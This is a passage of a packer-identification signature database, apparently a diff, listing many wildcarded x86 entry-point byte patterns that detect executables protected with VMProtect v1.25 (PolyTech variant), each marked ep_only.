E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3 +ep_only = true + +[* 